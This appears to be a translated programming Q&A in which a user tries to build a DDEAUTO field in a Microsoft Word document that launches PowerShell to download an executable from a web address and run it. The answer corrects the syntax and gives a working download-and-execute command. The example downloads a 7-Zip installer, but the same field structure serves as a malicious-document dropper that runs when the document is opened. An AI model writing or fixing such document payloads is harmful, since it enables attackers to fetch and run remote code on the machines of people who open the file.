启动进程:找不到接受参数 'f' 的位置参数

Start Process : A positional parameter can not be found that accepts argument 'f'

我正在尝试在 MS Word 中创建一个 DDEAUTO 脚本来下载和执行文件。

代码如下:

{
    DDEAUTO 
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://www.7-zip.org/a/7z1701-x64.exe', 'file.exe')
    Start-Process 'file.exe' " "Message Text"
}

脚本将文件下载为 file.exe 但不执行。

我收到一条错误消息:

Start Process : A positional parameter can not be found that accepts argument 'f'

如果我直接在 PowerShell 中使用相同的代码,但当我从 MS Word 中调用它时,它就无法正常工作。

错误截图如下:

你需要把你想让powershell执行的代码放在引号里面。

{
DDEAUTO c:\windows\system32\windowspowershell\v1.0\powershell.exe "(New-Object System.Net.WebClient).DownloadFile('http://www.7-zip.org/a/7z1701-x64.exe', 'file.exe'); 
    start-process 'file.exe'"
}

哦,如果你想要 运行 多个命令,它们需要用分号 (;) 分隔。